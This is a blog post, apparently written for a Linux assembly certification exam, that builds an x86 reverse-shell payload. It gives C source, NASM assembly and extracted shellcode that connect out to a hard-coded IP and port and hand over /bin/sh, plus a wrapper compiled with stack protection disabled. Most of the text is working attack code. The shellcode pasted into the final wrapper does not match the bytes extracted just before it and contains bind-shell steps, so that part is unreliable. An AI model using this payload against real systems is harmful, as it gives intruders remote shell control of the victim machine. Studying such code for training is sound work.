1. Introduction
2. C code reverse shell
The difference with bind shell was that instead of bind() and listen() we used connect().
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#define REMOTE_ADDR "192.168.13.243"
#define REMOTE_PORT 2608
int main() {
int sock_des; //socket descriptor
struct sockaddr_in addr_ser;
sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP
addr_ser.sin_family = AF_INET; // ipv4
addr_ser.sin_port = htons(REMOTE_PORT); // port in little-endian
addr_ser.sin_addr.s_addr = inet_addr(REMOTE_ADDR); // IP in network order
connect(sock_des, (struct sockaddr *)&addr_ser, sizeof(addr_ser)); //connect to remote host
dup2(sock_des, 0); // stdin
dup2(sock_des, 1); // stdout
dup2(sock_des, 2); // stderr
execve("/bin/sh", NULL, NULL); //spawn a shell
return 0;
}
Proof picture:
3. Find out the details
To enumerate system calls I ran compiled binary with strace and got list of functions:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(2608), sin_addr=inet_addr("192.168.13.243")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", NULL, NULL) = 0
Next step we need to find system call numbers. I used grep:
grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get connect() subfunction call number I used grep again:
grep "sys_connect" /usr/include/linux/net.h
#define SYS_CONNECT 3 /* sys_connect(2) */
4. Assembly code
section .text
_start:
;clear out registers, edx will be zero till the end of the code
xor eax, eax
xor ebx, ebx
xor edx, edx
;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)
push eax
push 0x01
push 0x02
mov ecx, esp ; ecx points to the top of the stack where our arguments are located
mov al, 0x66
inc bl ; 0x01
int 0x80
mov esi, eax ; store socket descriptor to esi
;connect to address
;int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int connect(esi, struct, 0x10)
;sockaddr_in structure:
mov al, 0x66
mov bl, 0x03 ; 0x03
push edx ; terminate
push long 0xf30da8c0 ;ip_addr
push word 0x300a ; port number
xor ecx, ecx
mov cl, 0x02
push word cx
mov ecx,esp ; mov structure pointer in ecx
push 0x10
push ecx
push esi
mov ecx, esp ; ecx points to arguments
int 0x80
mov ebx,esi ; get file descriptor for dup() call
;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
mov al,0x3f ;63 in decimal
xor ecx,ecx ;0x00
int 0x80
;int dup2(ebx, 1)
mov al,0x3f
inc ecx ;0x01
int 0x80
;int dup2(ebx, 2)
mov al,0x3f
inc ecx ;0x02
int 0x80
;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)
push edx ;string NULL-terminator
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; pointer to command string
mov ecx, edx ; ecx 0x00
mov al, 0xb
int 0x80
nasm -f elf32 -o asm_reverse.o asm_reverse.nasm
ld -o asm_reverse asm_reverse.o
Check for any NULL bytes and extract shellcode with command line magic from the course:
objdump -d -M intel asm_reverse| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68\xc0\xa8\x0d\xf3\x66\x68\x0a\x30\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"
Then copy/paste in C code:
#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"
char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}
Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a reverse shell:
5. Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-764
All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam
No comments:
Post a Comment